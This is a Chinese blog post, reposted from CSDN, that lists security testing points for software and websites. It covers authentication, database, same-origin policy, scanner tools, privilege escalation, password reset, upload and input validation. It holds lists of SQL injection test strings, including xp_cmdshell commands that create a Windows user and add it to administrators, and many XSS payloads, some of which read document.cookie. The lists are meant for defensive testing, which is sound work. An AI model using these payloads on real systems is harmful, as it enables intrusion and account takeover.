软件安全测试考虑点，测试点以及测试方法整理之一

逃离我推掉我的手 2022-04-22 13:12 210阅读 0赞

软件安全性测试主要包括程序、数据库安全性测试。根据系统安全指标不同测试策略也不同。

用户身份认证安全的测试要考虑问题：  
1.明确区分系统中不同用户权限  
2.系统中会不会出现用户冲突  
3.系统会不会因用户的权限的改变造成混乱  
4.用户登陆密码是否是可见、可复制  
5.系统的密码策略，通常涉及到隐私，钱财或机密性的系统必须设置高可用的密码策略。  
5.是否可以通过绝对途径登陆系统（拷贝用户登陆后的链接直接进入系统）  
6.用户推出系统后是否删除了所有鉴权标记，是否可以使用后退键而不通过输入口令进入系统

系统网络安全的测试要考虑问题：  
1.测试采取的防护措施是否正确装配好，有关系统的补丁是否打上  
2.模拟非授权攻击，看防护系统是否坚固  
3.采用成熟的网络漏洞检查工具检查系统相关漏洞（即用最专业的黑客攻击工具攻击试一下，现在最常用的是 NBSI系列和 IPhacker IP ）  
4.采用各种木马检查工具检查系统木马情况  
5.采用各种防外挂工具检查系统各组程序的客外挂漏洞

数据库安全考虑问题：  
1.系统数据是否机密（比如对银行系统，这一点就特别重要，一般的网站就没有太高要求）  
2.系统数据的完整性（我刚刚结束的企业实名核查服务系统中就曾存在数据的不完整，对于这个系统的功能实现有了障碍）  
3.系统数据可管理性  
4.系统数据的独立性  
5.系统数据可备份和恢复能力（数据备份是否完整，可否恢复，恢复是否可以完整）

浏览器安全  
同源策略：不同源的“document”或脚本，不能读取或者设置当前的“document”  
同源定义：host（域名，或者IP），port（端口号），protocol（协议）三者一致才属于同源。  
要注意的是，同源策略只是一种策略，而非实现。这个策略被用于一些特定的点来保护web的安全。  
<script>,<img>,<iframe>,<link>等标签都可以跨域加载资源，不受同源策略的限制。  
XMLHttpRequest，DOM，cookie受到同源策略的限制。  
网站可以通过提供crossdomain.xml来允许某些源跨域访问自己的资源。  
google chrome使用了多进程来隔离代码运行的环境，从而起到提高web安全的作用  
Q & A  
Q：cookie为什么需要同源策略？  
A：cookie有同源策略是必须的，这样可以保证A网站的用户（识别）信息不会被B网站获取到  
Q：XMLHttpRequest为什么需要同源策略？  
A：两个例子：  
(1)加入没有同源策略，某个网站的某张页面被你写入了一些js ,这些js有些ajax操作，如果某个用户访问了这张页面，你的js就可以获得用户的某些信息(cookie，本地文件等)然后通过ajax发送回你的服务器。 这就是安全问题，信息泄漏。  
其实这个就是XSS攻击，为了防止XSS攻击后，用ajax请求返回用户敏感信息。但是其实XSS的攻击仅靠XMLHttpRequest的同源策略根本没用，后面的章节会看到。这也许是当时XSS还没那么丰富的时候，还算比较有效的安全策略。  
（2）先假设浏览器没有限制跨域，A站的xhr请求B站的一个url，那么浏览器是要带上谁家的cookie一起请求呢？（每次http请求都要带上该站下的所有cookie）显然是B家的。假设B家的网站当前用户已经登录，那么cookie里自然记录下了sessionId相关的东西以标识当前用户的身份，那么本次xhr请求很easy的通过了身份认证，然后后果就是不堪设想的。  
这个就很正确，如果A可以用xhr跨站访问B，带着B的cookie自然可以通过B网站的验证，从而获取到敏感数据。所以这点是关键。

web安全测试方法：  
工具扫描  
目前web安全扫描器针对OSinjection， XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的检测技术已经比较成熟。  
商业软件web安全扫描器：有IBM Rational Appscan、WebInspect、Acunetix WVS 、burp suite  
免费的扫描器：W3af 、Skipfish 等  
根据业务资金，可以考虑购买商业扫描软件，也可以使用免费的，各有各的好处。  
首页可以对网站进行大规模的扫描操作，工具扫描确认没有漏洞或者漏洞已经修复后，再进行以下手工检测。

手工检测  
对于CSRF、越权访问、文件上传、修改密码 等漏洞，难以实现自动化检测的效果，这是因为这些漏洞涉及系统逻辑或业务逻辑，有时候还需要人机交互参与页面流程，  
因此 这类漏洞的检测更多的需要依靠手动测试完成。

手工检测网站URL、后台登陆是否具有

SQL注入

Admin--  
‘or --  
‘ and ( ) exec insert \* % chr mid  
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2  
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;  
and 1=2 ; ‘and 1=2  
and 2=2  
and user>0  
and (select count(\*) from sysobjects)>0  
and (select count(\*) from msysobjects)>0  
and (Select Count(\*) from Admin)>=0  
and (select top 1 len(username) from Admin)>0(username 已知字段)  
;exec master..xp\_cmdshell “net user name password /add”—  
;exec master..xp\_cmdshell “net localgroup name administrators /add”—  
and 0<>(select count(\*) from admin)

XSS：

对于get请求的URL一般漏洞扫描软件都可扫描到是否存在XSS漏洞。（但是软件没有完美的，也有误报，或者有遗漏的情况）  
对于POST的请求的（例如留言板，评论，等等），就是要在输入框输入的情况，则要进行以下测试  
★~!@\#$%^&\*()\_+<>,./?;'"\[\]\{\}\\-  
★%3Cinput /%3E  
★%3Cscript%3Ealert('XSS')%3C/script%3E  
★<input type="text"/>  
★<input/>  
★<input/    
★<script>alert('xss')</script>  
★<script>alert('xss');</script>  
★</script><script>alert(‘xss’)</script>  
★javascript:alert(/xss/)  
★javascript:alert(/xss/)  
★<img src="\#" οnerrοr=alert(/xss/)>   
★<img src="\#" style="Xss:expression(alert(/xss/));">   
★<img src="\#"/\*\*/οnerrοr=alert(/xss/) width=100>  
★=’><script>alert(document.cookie)</script>   
★1.jpg" οnmοuseοver="alert('xss')  
★"></a><script>alert(‘xss’);</script>  
★http://xxx';alert('xss');var/ a='a  
★’”>xss&<  
★"οnmοuseοver=alert('hello');"  
★&\{alert('hello');\}  
  ★>"'><script>alert(‘XSS')</script>  
  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>  
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;  
%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>  
  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22  
  ★%22%2Balert(%27XSS%27)%2B%22  
  ★<table background="javascript:alert((\[code\])"></table>  
  ★<object type=text/html data="javascript:alert((\[code\]);"></object>  
  ★<body οnlοad="javascript:alert((\[code\])"></body>  
  ★a?<script>alert(’Vulnerable’)</script>  
★<!--'">&:  
var from = ‘$!rundata.Parameters.getString(’from’)';  
var from = ”;hackerFunction(document.cookie);”;

上面这些同样适用于GET请求  
经过以上测试，如果发现输入框代码溢出，则说明可能存在XSS漏洞，说明要进行过滤.

关于越权操作的问题  
例如A用户的个人资料ID为1 B用户个人资料ID为2，我通过登陆B用户，把ID修改为1 就可以查看到用户A的个人资料，这就是越权。  
测试方法：通过查看URL的get参数对那些类似明显的顺序数字 进行修改，看是否能越权访问。

关于登陆安全的问题  
除了SQL注入，还有找回密码功能会出现安全问题  
邮箱找回密码测试方法：  
先从邮箱参数修改开始，看填入用户名和自己修改的邮箱账号，看是否能收到邮箱，收到后是否能修改。  
如果不能修改邮箱参数那么，我们就让它邮箱找回，接着点击邮箱内修改密码的链接，看链接的邮箱参数是否可以修改，用户名是否可以修改，加密的urlcode 是否可以逆向解密。  
如果是手机找回密码功能：则测试手机收到的验证码是否是纯数字、纯字母的，如果是请修改为字母与数字的组合。

关于用开源程序的问题  
关注网上你所用的开源程序的官网更新情况和安全事件。

关于上传：  
1.上传文件是否有格式限制,是否可以上传exe文件；  
2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误；  
3.通过修改扩展名的方式是否可以绕过格式限制，是否可以通过压包方式绕过格式限制；  
4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。  
5.上传文件大小大于本地剩余空间大小，是否会出现异常错误。  
6.关于上传是否成功的判断。上传过程中，中断。程序是否判断上传是否成功。  
7.对于文件名中带有中文字符，特殊字符等的文件上传。

下载：  
避免输入：\\..\\web.  
修改命名后缀。  
输入验证  
客户端验证 服务器端验证(禁用脚本调试，禁用Cookies)  
1.输入很大的数（如4,294,967,269），输入很小的数(负数)  
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应  
3.输入特殊字符,如:~!@\#$%^&\*()\_+<>:”\{\}|  
4.输入中英文空格，输入字符串中间含空格，输入首尾空格  
5.输入特殊字符串NULL,null，0x0d 0x0a  
6.输入正常字符串  
7.输入与要求不同类型的字符，如: 要求输入数字则检查正值,负值,零值（正零，负零）,小数,字母,空值; 要求输入字母则检查输入数字  
8.输入html和JavaScript代码  
9.对于像回答数这样需检验数字正确性的测试点，不仅对比其与问题最终页的回答数，还要对回答进行添加删除等操作后查看变化  
例如：  
1.输入<html”>”gfhd</html>

转载：[https://blog.csdn.net/bo\_mask/article/details/76101689][https_blog.csdn.net_bo_mask_article_details_76101689]

[https_blog.csdn.net_bo_mask_article_details_76101689]: https://blog.csdn.net/bo_mask/article/details/76101689